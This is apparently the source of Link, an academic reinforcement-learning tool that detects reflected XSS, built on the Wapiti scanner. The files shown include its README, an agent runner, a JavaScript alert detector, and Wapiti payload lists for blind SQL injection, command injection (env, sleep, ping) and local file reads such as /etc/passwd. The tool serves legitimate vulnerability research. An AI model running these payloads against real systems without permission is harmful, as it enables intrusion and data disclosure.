├── README.md ├── attack_A2C.py ├── gym_reflected_xss ├── 1.html ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-36.pyc │ └── __init__.cpython-37.pyc ├── attack_module │ ├── __init__.py │ ├── __pycache__ │ │ ├── __init__.cpython-37.pyc │ │ └── attack.cpython-36.pyc │ ├── attack │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-37.pyc │ │ │ ├── attack.cpython-37.pyc │ │ │ ├── jsparser.cpython-37.pyc │ │ │ └── mod_xss.cpython-37.pyc │ │ ├── attack.py │ │ ├── jsparser.py │ │ └── mod_xss.py │ ├── config │ │ ├── attacks │ │ │ ├── backupPayloads.txt │ │ │ ├── blindSQLPayloads.txt │ │ │ ├── busterPayloads.txt │ │ │ ├── execPayloads.txt │ │ │ ├── fileHandlingPayloads.ini │ │ │ ├── xssPayloads.ini │ │ │ └── xxePayloads.ini │ │ ├── language │ │ │ ├── de │ │ │ │ └── LC_MESSAGES │ │ │ │ │ └── wapiti.mo │ │ │ ├── en │ │ │ │ └── LC_MESSAGES │ │ │ │ │ └── wapiti.mo │ │ │ ├── es │ │ │ │ └── LC_MESSAGES │ │ │ │ │ └── wapiti.mo │ │ │ ├── fr │ │ │ │ └── LC_MESSAGES │ │ │ │ │ └── wapiti.mo │ │ │ ├── ms │ │ │ │ └── LC_MESSAGES │ │ │ │ │ └── wapiti.mo │ │ │ ├── pt │ │ │ │ └── LC_MESSAGES │ │ │ │ │ └── wapiti.mo │ │ │ └── zh │ │ │ │ └── LC_MESSAGES │ │ │ │ └── wapiti.mo │ │ ├── reports │ │ │ └── generators.xml │ │ └── vulnerabilities │ │ │ ├── anomalies.xml │ │ │ └── vulnerabilities.xml │ ├── language │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-37.pyc │ │ │ ├── language.cpython-37.pyc │ │ │ ├── logger.cpython-37.pyc │ │ │ └── vulnerability.cpython-37.pyc │ │ ├── language.py │ │ ├── logger.py │ │ └── vulnerability.py │ ├── language_sources │ │ ├── de.po │ │ ├── en.po │ │ ├── es.po │ │ ├── fr.po │ │ ├── ms.po │ │ ├── pt.po │ │ ├── sav_en.po │ │ └── zh.po │ ├── main │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-37.pyc │ │ │ └── attack_module.cpython-37.pyc │ │ └── attack_module.py │ └── net │ │ ├── __init__.py │ │ ├── __pycache__ │ │ ├── __init__.cpython-37.pyc │ │ ├── crawler.cpython-37.pyc │ │ ├── jsoncookie.cpython-37.pyc │ │ ├── lamejs.cpython-37.pyc │ │ ├── sqlite_persister.cpython-37.pyc │ │ ├── web.cpython-37.pyc │ │ └── xss_utils.cpython-37.pyc │ │ ├── crawler.py │ │ ├── jsoncookie.py │ │ ├── jsparser │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-37.pyc │ │ │ └── jsparser3.cpython-37.pyc │ │ └── jsparser3.py │ │ ├── lamejs.py │ │ ├── login.py │ │ ├── login_urls.txt │ │ ├── sqlite_persister.py │ │ ├── web.py │ │ └── xss_utils.py ├── envs │ ├── __init__.py │ ├── __pycache__ │ │ ├── __init__.cpython-36.pyc │ │ ├── __init__.cpython-37.pyc │ │ ├── action.cpython-37.pyc │ │ ├── observation.cpython-37.pyc │ │ ├── reflected_xss_env.cpython-36.pyc │ │ └── reflected_xss_env.cpython-37.pyc │ ├── action.py │ ├── observation.py │ └── reflected_xss_env.py └── input_module │ ├── __init__.py │ ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── input_generator.cpython-36.pyc │ ├── input_generator.cpython-37.pyc │ └── pyjsfuck.cpython-37.pyc │ ├── input_generator.py │ ├── jsfuck.js │ └── pyjsfuck.py ├── sample_agent.pkl └── train_A2C.py /README.md: -------------------------------------------------------------------------------- 1 | # Link 2 | Link is a general RL framework to find reflected XSS vulnerabilities in a black-box and fully automatic manner. It implemented on top of [Wapiti](https://github.com/wapiti-scanner/wapiti) a popular open source web scanner. And reinforcement learning components are implemeted based on [OpenAI gym](https://gym.openai.com/) and [Stable baselines](https://github.com/hill-a/stable-baselines). 3 | The details of Link is in our [paper](https://dl.acm.org/doi/10.1145/3485447.3512234), "Link: Black-Box Detection of Cross-Site Scripting Vulnerabilities 4 | Using Reinforcement Learning" which appeared in The Web Conference 2022. 5 | 6 | ## Requirements 7 | 8 | - Recommend to use Anaconda3 9 | - Tensorflow==1.14 10 | - gym 11 | - stable-baselines 12 | 13 | 14 | ## Instruction 15 | ### Training Session 16 | 17 | $ python3 train.py -u -t 18 | $ python3 train.py -u 'http://localhost:8080' -t 200000 19 | 20 | 21 | 22 | ### XSS detection phase using trained agent 23 | 24 | $ python3 attack_A2C.py -u -n 25 | $ python3 attack_A2C.py -u 'http://localhost:8080' -n sample_agent.pkl 26 | 27 | 28 | ### Training visulization (Tensorboard) 29 | 30 | $ tensorboard --logdir [log directory name] 31 | $ tensorboard --logdir ./tensorboard_log/ 32 | 33 | 34 | ## Test Suite Installation 35 | ### [Google Firing Range](https://github.com/google/firing-range) 36 | 1. `sudo apt-get install git ant` 37 | 2. Download Google AppEngine SDK file in test suite dependency folder and unzip it 38 | 3. `git clone https://github.com/google/firing-range.git` 39 | 4. `cd firing-range` 40 | 5. Modify `build.xml`, `appengine.sdk` should be your own path of extracted folder 41 | 6. Add below code on line 70 in `build.xml` 42 | 43 | `` 44 | 45 | 7. `ant runserver` 46 | 8. Test Suite will run on `localhost:8080` 47 | 9. You should kill process before restart 48 | ~~~ 49 | $ sudo netstat -lpn |grep :8080 50 | $ kill process_id 51 | ~~~ 52 | ### [OWASP Benchmark](https://owasp.org/www-project-benchmark/) 53 | 54 | $ git clone https://github.com/OWASP/benchmark 55 | $ cd benchmark 56 | $ mvn compile (This compiles it) 57 | $ sudo runBenchmark.sh/.bat - This compiles and runs it. 58 | 59 | - Access on `https://localhost:8443/benchmark/` 60 | 61 | 62 | ### [WAVSEP](https://code.google.com/archive/p/wavsep/) 63 | 64 | $ docker pull owaspvwad/wavsep 65 | $ docker run -p 127.0.0.1:8090:8080 owaspvwad/wavsep 66 | 67 | - Access on `http://localhost:8090/wavsep/active/index-xss.jsp` 68 | 69 | 70 | 71 | ## Authors 72 | * Soyoung Lee 73 | * [Seongil Wi](https://seongil-wi.github.io/) 74 | * [Sooel Son](https://sites.google.com/site/ssonkaist/home) 75 | 76 | ## Citing Link 77 | 78 | To cite our paper: 79 | ``` 80 | @inproceedings{lee:www:2022, 81 | author = {Lee, Soyoung and Wi, Seongil and Son, Sooel}, 82 | title = {Link: Black-Box Detection of Cross-Site Scripting Vulnerabilities Using Reinforcement Learning}, 83 | year = 2022, 84 | booktitle = {Proceedings of the {ACM} Web Conference}, 85 | pages = {743--754} 86 | } 87 | ``` 88 | -------------------------------------------------------------------------------- /attack_A2C.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import getopt 3 | import gym 4 | import gym_reflected_xss 5 | 6 | # from baselines import deepq 7 | # from baselines.logger import Logger, TensorBoardOutputFormat, HumanOutputFormat 8 | from stable_baselines.common.vec_env import DummyVecEnv 9 | from stable_baselines.deepq.policies import MlpPolicy 10 | from stable_baselines import DQN, A2C 11 | 12 | # remove tensorflow warning messages 13 | import warnings 14 | warnings.simplefilter(action='ignore', category=FutureWarning) 15 | import tensorflow as tf 16 | tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR) 17 | 18 | def callback(lcl, glb): 19 | # stop training if reward exceeds 199 20 | is_solved = lcl['t'] > 100 and sum(lcl['epsiode_rewards'][-101:-1] / 100 >= 100) 21 | return is_solved 22 | 23 | def main(argv): 24 | 25 | start_url = "" 26 | model_name = "" 27 | option = 0 28 | 29 | try: 30 | opts, etc_args= getopt.getopt(argv[1:], "u:n") 31 | except getopt.GetoptError: 32 | print("Use option -o") 33 | sys.exit(2) 34 | 35 | for opt,arg in opts: 36 | if opt in ("-u"): 37 | option = arg 38 | if opt in ("-n"): 39 | model_name = arg 40 | 41 | 42 | 43 | 44 | start_url = option 45 | 46 | # create the environment 47 | env = gym.make("reflected-xss-v0", start_url=start_url, mode=1, log_file_name="model_log.txt", block_obs=-1) 48 | 49 | # create learning agent 50 | print("[*] Loading A2Cmodel ...") 51 | 52 | model = A2C.load("models/" + model_name) 53 | print("[*] Start Agent working ...") 54 | obs = env.reset() 55 | numberOfTarget = 0 56 | 57 | 58 | while True: 59 | 60 | action , _states = model.predict(obs) 61 | 62 | obs, rewards, done, info = env.step(action) 63 | env.render() 64 | 65 | if done: 66 | numberOfTarget += 1 67 | print("# of status: " + str(numberOfTarget)) 68 | env.reset() 69 | 70 | 71 | 72 | if __name__ == '__main__': 73 | main(sys.argv) -------------------------------------------------------------------------------- /gym_reflected_xss/1.html: -------------------------------------------------------------------------------- 1 | --> 2 | -------------------------------------------------------------------------------- /gym_reflected_xss/__init__.py: -------------------------------------------------------------------------------- 1 | from gym.envs.registration import register 2 | 3 | register(id='reflected-xss-v0', entry_point='gym_reflected_xss.envs:ReflectedXSSEnv', ) 4 | 5 | -------------------------------------------------------------------------------- /gym_reflected_xss/__pycache__/__init__.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/__pycache__/__init__.cpython-36.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/__init__.py -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/__pycache__/attack.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/__pycache__/attack.cpython-36.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/attack/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/attack/__init__.py -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/attack/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/attack/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/attack/__pycache__/attack.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/attack/__pycache__/attack.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/attack/__pycache__/jsparser.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/attack/__pycache__/jsparser.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/attack/__pycache__/mod_xss.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WSP-LAB/Link/965cd082b57b1241cbcf0aa255cb5ad8e2761a0b/gym_reflected_xss/attack_module/attack/__pycache__/mod_xss.cpython-37.pyc -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/attack/jsparser.py: -------------------------------------------------------------------------------- 1 | from pyjsparser import parse 2 | 3 | result = parse('var _p = {"web": "http:\/\/localhost\/cms\/chamilo\/","web_url": "http:\/\/localhost\/cms\/chamilo\/web\/","web_relative": "\/","web_course": "http:\/\/localhost\/cms\/chamilo\/courses\/","web_main": "http:\/\/localhost\/cms\/chamilo\/main\/","web_css": "http:\/\/localhost\/cms\/chamilo\/web\/css\/","web_css_theme": "http:\/\/localhost\/cms\/chamilo\/web\/css\/themes\/chamilo\/","web_ajax": "http:\/\/localhost\/cms\/chamilo\/main\/inc\/ajax\/","web_img": "http:\/\/localhost\/cms\/chamilo\/main\/img\/","web_plugin": "http:\/\/localhost\/cms\/chamilo\/plugin\/","web_lib": "http:\/\/localhost\/cms\/chamilo\/main\/inc\/lib\/","web_upload": "http:\/\/localhost\/cms\/chamilo\/app\/upload\/","web_self": "\/cms\/chamilo\/main\/calendar\/agenda_list.php\/alert(0727);\/","self_basename": "alert(0727);","web_query_vars": "","web_self_query_vars": "\/cms\/chamilo\/main\/calendar\/agenda_list.php\/alert(0727);\/","web_cid_query": "","web_rel_code": "\/main\/"}') 4 | 5 | 6 | # {'type': 'Program', 'body': [{'type': 'ExpressionStatement', 'expression': {'type': 'CallExpression', 'callee': {'type': 'Identifier', 'name': 'alert'}, 'arguments': [{'type': 'Literal', 'value': 1.0, 'raw': '1'}]}}]} 7 | 8 | def rec_dict_search(dic): 9 | found = False 10 | 11 | if type(dic) == dict: 12 | try: 13 | if dic['type'] == 'CallExpression': 14 | if dic['callee']['name'] in ["alert","confirm","prompt"]: 15 | if dic['arguments']: 16 | for elem in dic['arguments']: 17 | if elem['raw'] == '0727': 18 | found = True 19 | return True 20 | if not found: 21 | keys=dic.keys() 22 | for key in keys: 23 | if rec_dict_search(dic[key]): 24 | found = True 25 | if found: break 26 | except: 27 | keys=dic.keys() 28 | for key in keys: 29 | if rec_dict_search(dic[key]): 30 | found = True 31 | if found: break 32 | 33 | elif type(dic) == str: 34 | return False 35 | 36 | elif type(dic) == list: 37 | for elem in dic: 38 | keys=elem.keys() 39 | for key in keys: 40 | if rec_dict_search(elem[key]): 41 | found = True 42 | if found: break 43 | if found: break 44 | 45 | return found 46 | 47 | try: 48 | result2 = parse('var a = "!@#4"; /**/ prompt(0727)') 49 | if rec_dict_search(result2): 50 | print("detected") 51 | except: 52 | print("Error") 53 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/attacks/backupPayloads.txt: -------------------------------------------------------------------------------- 1 | [FILE_NAME]~ 2 | [FILE_NAME].backup 3 | [FILE_NAME].bck 4 | [FILE_NAME].old 5 | [FILE_NAME].save 6 | [FILE_NAME].bak 7 | .[FILE_NAME].swp 8 | [FILE_NAME].zip 9 | [FILE_NAME].rar 10 | [FILE_NAME].tar.gz 11 | [FILE_NAME].tgz 12 | [FILE_NAME].tar.bz2 13 | [FILE_NAME].tbz2 14 | [FILE_NAME].7zip 15 | [FILE_NOEXT].backup 16 | [FILE_NOEXT].bck 17 | [FILE_NOEXT].old 18 | [FILE_NOEXT].save 19 | [FILE_NOEXT].bak 20 | [FILE_NOEXT].zip 21 | [FILE_NOEXT].rar 22 | [FILE_NOEXT].tar.gz 23 | [FILE_NOEXT].tgz 24 | [FILE_NOEXT].tar.bz2 25 | [FILE_NOEXT].tbz2 26 | [FILE_NOEXT].7zip 27 | backup.tgz 28 | backup.zip 29 | backup.7zip 30 | backup.tar.gz 31 | backup.tar.bz2 32 | backup.sql -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/attacks/blindSQLPayloads.txt: -------------------------------------------------------------------------------- 1 | sleep([TIME])#1 2 | sleep([TIME])#[LF]1 3 | [VALUE],sleep([TIME])#1 4 | [VALUE]`,sleep([TIME])#1 5 | 1 or sleep([TIME])#1 6 | 1 or sleep([TIME])#[LF]1 7 | " or sleep([TIME])#1 8 | " or sleep([TIME])#[LF]1 9 | ' or sleep([TIME])#1 10 | ' or sleep([TIME])#[LF]1 11 | " or sleep([TIME])=" 12 | ' or sleep([TIME])=' 13 | 1) or sleep([TIME])#1 14 | 1) or sleep([TIME])#[LF]1 15 | ") or sleep([TIME])=" 16 | ') or sleep([TIME])=' 17 | 1)) or sleep([TIME])#1 18 | 1)) or sleep([TIME])#[LF]1 19 | ")) or sleep([TIME])=" 20 | ')) or sleep([TIME])=' 21 | 1 and sleep([TIME])#1 22 | 1 and sleep([TIME])#[LF]1 23 | " and sleep([TIME])#1 24 | " and sleep([TIME])#[LF]1 25 | ' and sleep([TIME])#1 26 | ' and sleep([TIME])#[LF]1 27 | " and sleep([TIME])=" 28 | ' and sleep([TIME])=' 29 | 1) and sleep([TIME])#1 30 | 1) and sleep([TIME])#[LF]1 31 | ") and sleep([TIME])=" 32 | ') and sleep([TIME])=' 33 | 1)) and sleep([TIME])#1 34 | 1)) and sleep([TIME])#[LF]1 35 | ")) and sleep([TIME])=" 36 | ')) and sleep([TIME])=' 37 | ;waitfor delay '0:0:[TIME]'--1 38 | [VALUE];waitfor delay '0:0:[TIME]'--1 39 | [VALUE] waitfor delay '0:0:[TIME]'--1 40 | ;waitfor delay '0:0:[TIME]'--[LF]1 41 | );waitfor delay '0:0:[TIME]'--1 42 | [VALUE]);waitfor delay '0:0:[TIME]'--1 43 | );waitfor delay '0:0:[TIME]'--[LF]1 44 | ';waitfor delay '0:0:[TIME]'--1 45 | ';waitfor delay '0:0:[TIME]'--[LF]1 46 | ";waitfor delay '0:0:[TIME]'--1 47 | ";waitfor delay '0:0:[TIME]'--[LF]1 48 | ');waitfor delay '0:0:[TIME]'--1 49 | ');waitfor delay '0:0:[TIME]'--[LF]1 50 | ");waitfor delay '0:0:[TIME]'--1 51 | ");waitfor delay '0:0:[TIME]'--[LF]1 52 | ));waitfor delay '0:0:[TIME]'--1 53 | [VALUE]));waitfor delay '0:0:[TIME]'--1 54 | ));waitfor delay '0:0:[TIME]'--[LF]1 55 | '));waitfor delay '0:0:[TIME]'--1 56 | '));waitfor delay '0:0:[TIME]'--[LF]1 57 | "));waitfor delay '0:0:[TIME]'--1 58 | "));waitfor delay '0:0:[TIME]'--[LF]1 59 | benchmark(10000000,MD5(1))#1 60 | 1 or benchmark(10000000,MD5(1))#1 61 | " or benchmark(10000000,MD5(1))#1 62 | ' or benchmark(10000000,MD5(1))#1 63 | 1) or benchmark(10000000,MD5(1))#1 64 | ") or benchmark(10000000,MD5(1))#1 65 | ') or benchmark(10000000,MD5(1))#1 66 | 1)) or benchmark(10000000,MD5(1))#1 67 | ")) or benchmark(10000000,MD5(1))#1 68 | ')) or benchmark(10000000,MD5(1))#1 69 | pg_sleep([TIME])--1 70 | pg_sleep([TIME])--[LF]1 71 | 1 or pg_sleep([TIME])--1 72 | 1 or pg_sleep([TIME])--[LF]1 73 | " or pg_sleep([TIME])--1 74 | " or pg_sleep([TIME])--[LF]1 75 | ' or pg_sleep([TIME])--1 76 | ' or pg_sleep([TIME])--[LF]1 77 | 1) or pg_sleep([TIME])--1 78 | 1) or pg_sleep([TIME])--[LF]1 79 | ") or pg_sleep([TIME])--1 80 | ") or pg_sleep([TIME])--[LF]1 81 | ') or pg_sleep([TIME])--1 82 | ') or pg_sleep([TIME])--[LF]1 83 | 1)) or pg_sleep([TIME])--1 84 | ")) or pg_sleep([TIME])--1 85 | ')) or pg_sleep([TIME])--1 86 | 1 and pg_sleep([TIME])--1 87 | " and pg_sleep([TIME])--1 88 | ' and pg_sleep([TIME])--1 89 | 1) and pg_sleep([TIME])--1 90 | ") and pg_sleep([TIME])--1 91 | ') and pg_sleep([TIME])--1 92 | 1)) and pg_sleep([TIME])--1 93 | ")) and pg_sleep([TIME])--1 94 | ')) and pg_sleep([TIME])--1 95 | 1[TAB]or[TAB]sleep([TIME])#1 96 | "[TAB]or[TAB]sleep([TIME])#1 97 | '[TAB]or[TAB]sleep([TIME])#1 98 | "[TAB]or[TAB]sleep([TIME])=" 99 | '[TAB]or[TAB]sleep([TIME])=' 100 | 1)[TAB]or[TAB]sleep([TIME])#1 101 | ")[TAB]or[TAB]sleep([TIME])=" 102 | ')[TAB]or[TAB]sleep([TIME])=' 103 | 1))[TAB]or[TAB]sleep([TIME])#1 104 | "))[TAB]or[TAB]sleep([TIME])=" 105 | '))[TAB]or[TAB]sleep([TIME])=' 106 | 1[TAB]and[TAB]sleep([TIME])#1 107 | "[TAB]and[TAB]sleep([TIME])#1 108 | '[TAB]and[TAB]sleep([TIME])#1 109 | "[TAB]and[TAB]sleep([TIME])=" 110 | '[TAB]and[TAB]sleep([TIME])=' 111 | 1)[TAB]and[TAB]sleep([TIME])#1 112 | ")[TAB]and[TAB]sleep([TIME])=" 113 | ')[TAB]and[TAB]sleep([TIME])=' 114 | 1))[TAB]and[TAB]sleep([TIME])#1 115 | "))[TAB]and[TAB]sleep([TIME])=" 116 | '))[TAB]and[TAB]sleep([TIME])=' 117 | ;waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 118 | );waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 119 | ';waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 120 | ";waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 121 | ');waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 122 | ");waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 123 | ));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 124 | '));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 125 | "));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1 126 | 1[TAB]or[TAB]benchmark(10000000,MD5(1))#1 127 | "[TAB]or[TAB]benchmark(10000000,MD5(1))#1 128 | '[TAB]or[TAB]benchmark(10000000,MD5(1))#1 129 | 1)[TAB]or[TAB]benchmark(10000000,MD5(1))#1 130 | ")[TAB]or[TAB]benchmark(10000000,MD5(1))#1 131 | ')[TAB]or[TAB]benchmark(10000000,MD5(1))#1 132 | 1))[TAB]or[TAB]benchmark(10000000,MD5(1))#1 133 | "))[TAB]or[TAB]benchmark(10000000,MD5(1))#1 134 | '))[TAB]or[TAB]benchmark(10000000,MD5(1))#1 135 | 1[TAB]or[TAB]pg_sleep([TIME])--1 136 | "[TAB]or[TAB]pg_sleep([TIME])--1 137 | '[TAB]or[TAB]pg_sleep([TIME])--1 138 | 1)[TAB]or[TAB]pg_sleep([TIME])--1 139 | ")[TAB]or[TAB]pg_sleep([TIME])--1 140 | ')[TAB]or[TAB]pg_sleep([TIME])--1 141 | 1))[TAB]or[TAB]pg_sleep([TIME])--1 142 | "))[TAB]or[TAB]pg_sleep([TIME])--1 143 | '))[TAB]or[TAB]pg_sleep([TIME])--1 144 | 1[TAB]and[TAB]pg_sleep([TIME])--1 145 | "[TAB]and[TAB]pg_sleep([TIME])--1 146 | '[TAB]and[TAB]pg_sleep([TIME])--1 147 | 1)[TAB]and[TAB]pg_sleep([TIME])--1 148 | ")[TAB]and[TAB]pg_sleep([TIME])--1 149 | ')[TAB]and[TAB]pg_sleep([TIME])--1 150 | 1))[TAB]and[TAB]pg_sleep([TIME])--1 151 | "))[TAB]and[TAB]pg_sleep([TIME])--1 152 | '))[TAB]and[TAB]pg_sleep([TIME])--1 153 | 1/**/or/**/sleep([TIME])#1 154 | "/**/or/**/sleep([TIME])#1 155 | '/**/or/**/sleep([TIME])#1 156 | "/**/or/**/sleep([TIME])=" 157 | '/**/or/**/sleep([TIME])=' 158 | 1)/**/or/**/sleep([TIME])#1 159 | ")/**/or/**/sleep([TIME])=" 160 | ')/**/or/**/sleep([TIME])=' 161 | 1))/**/or/**/sleep([TIME])#1 162 | "))/**/or/**/sleep([TIME])=" 163 | '))/**/or/**/sleep([TIME])=' 164 | 1/**/and/**/sleep([TIME])#1 165 | "/**/and/**/sleep([TIME])#1 166 | '/**/and/**/sleep([TIME])#1 167 | "/**/and/**/sleep([TIME])=" 168 | '/**/and/**/sleep([TIME])=' 169 | 1)/**/and/**/sleep([TIME])#1 170 | ")/**/and/**/sleep([TIME])=" 171 | ')/**/and/**/sleep([TIME])=' 172 | 1))/**/and/**/sleep([TIME])#1 173 | "))/**/and/**/sleep([TIME])=" 174 | '))/**/and/**/sleep([TIME])=' 175 | ;waitfor/**/delay/**/'0:0:[TIME]'--1 176 | );waitfor/**/delay/**/'0:0:[TIME]'--1 177 | ';waitfor/**/delay/**/'0:0:[TIME]'--1 178 | ";waitfor/**/delay/**/'0:0:[TIME]'--1 179 | ');waitfor/**/delay/**/'0:0:[TIME]'--1 180 | ");waitfor/**/delay/**/'0:0:[TIME]'--1 181 | ));waitfor/**/delay/**/'0:0:[TIME]'--1 182 | '));waitfor/**/delay/**/'0:0:[TIME]'--1 183 | "));waitfor/**/delay/**/'0:0:[TIME]'--1 184 | 1/**/or/**/benchmark(10000000,MD5(1))#1 185 | "/**/or/**/benchmark(10000000,MD5(1))#1 186 | '/**/or/**/benchmark(10000000,MD5(1))#1 187 | 1)/**/or/**/benchmark(10000000,MD5(1))#1 188 | ")/**/or/**/benchmark(10000000,MD5(1))#1 189 | ')/**/or/**/benchmark(10000000,MD5(1))#1 190 | 1))/**/or/**/benchmark(10000000,MD5(1))#1 191 | "))/**/or/**/benchmark(10000000,MD5(1))#1 192 | '))/**/or/**/benchmark(10000000,MD5(1))#1 193 | 1/**/or/**/pg_sleep([TIME])--1 194 | "/**/or/**/pg_sleep([TIME])--1 195 | '/**/or/**/pg_sleep([TIME])--1 196 | 1)/**/or/**/pg_sleep([TIME])--1 197 | ")/**/or/**/pg_sleep([TIME])--1 198 | ')/**/or/**/pg_sleep([TIME])--1 199 | 1))/**/or/**/pg_sleep([TIME])--1 200 | "))/**/or/**/pg_sleep([TIME])--1 201 | '))/**/or/**/pg_sleep([TIME])--1 202 | 1/**/and/**/pg_sleep([TIME])--1 203 | "/**/and/**/pg_sleep([TIME])--1 204 | '/**/and/**/pg_sleep([TIME])--1 205 | 1)/**/and/**/pg_sleep([TIME])--1 206 | ")/**/and/**/pg_sleep([TIME])--1 207 | ')/**/and/**/pg_sleep([TIME])--1 208 | 1))/**/and/**/pg_sleep([TIME])--1 209 | "))/**/and/**/pg_sleep([TIME])--1 210 | '))/**/and/**/pg_sleep([TIME])--1 211 | ' and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0 212 | " and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0 213 | ') and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0 214 | ") and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0 215 | ')) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0 216 | ")) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0 217 | ';d=new Date();do{cd=new Date();}while(cd-d<10000);// 218 | ";d=new Date();do{cd=new Date();}while(cd-d<10000);// 219 | -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/attacks/execPayloads.txt: -------------------------------------------------------------------------------- 1 | ;env; 2 | a;env; 3 | a);env; 4 | ../../../../../../../../../../../../../../../usr/bin/env| 5 | [VALUE];env; 6 | [VALUE][LF]env; 7 | &set& 8 | /e\0 9 | a;exit(md5('w4p1t1_md5'));// 10 | a;exit(md5('w4p1t1_md5'));# 11 | ";exit(md5('w4p1t1_md5'));// 12 | ";exit(md5('w4p1t1_md5'));# 13 | ';exit(md5('w4p1t1_md5'));// 14 | ';exit(md5('w4p1t1_md5'));# 15 | ".exit(md5('w4p1t1_md5'));// 16 | ".exit(md5('w4p1t1_md5'));# 17 | '.exit(md5('w4p1t1_md5'));// 18 | '.exit(md5('w4p1t1_md5'));# 19 | ;exit(md5('w4p1t1_md5'));// 20 | ;exit(md5('w4p1t1_md5'));# 21 | data:;base64,PD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA/Pg== 22 | a`)` 23 | a`sleep 60`[TIMEOUT] 24 | a;sleep 60;[TIMEOUT] 25 | a|sleep 60;[TIMEOUT] 26 | &ping -n 25 127.0.0.1&[TIMEOUT] -------------------------------------------------------------------------------- /gym_reflected_xss/attack_module/config/attacks/fileHandlingPayloads.ini: -------------------------------------------------------------------------------- 1 | ; Each payload can match one or more detection rules. 2 | ; Each rule will generate one specific success message. 3 | ; A rule must be at the same position than its corresponding message. 4 | ; If there is X rules then you must specify X messages even if it is the same one. 5 | [remote_inclusion] 6 | payload = [EXTERNAL_ENDPOINT]e.php 7 | rules = aa9d05b9ab864e169d723e9668d3dc77 8 | w4p1t1_cleartext 9 | messages = Remote inclusion vulnerability 10 | Remote file disclosure vulnerability 11 | 12 | [remote_inclusion_with_nul] 13 | payload = [EXTERNAL_ENDPOINT]e.php\0 14 | rules = aa9d05b9ab864e169d723e9668d3dc77 15 | w4p1t1_cleartext 16 | messages = Remote inclusion vulnerability 17 | Remote file disclosure vulnerability 18 | 19 | [local_passwd] 20 | payload = /etc/passwd 21 | rules = root:x:0:0 22 | root:*:0:0 23 | messages = Linux local file disclosure vulnerability 24 | BSD local file disclosure vulnerability 25 | 26 | [local_passwd_with_null] 27 | payload = /etc/passwd\0 28 | rules = root:x:0:0 29 | root:*:0:0 30 | messages = Linux local file disclosure vulnerability 31 | BSD local file disclosure vulnerability 32 | 33 | [local_unix_services] 34 | payload = /etc/services 35 | rules = Network services, Internet style 36 | RFC6335 37 | messages = Unix local file disclosure vulnerability 38 | 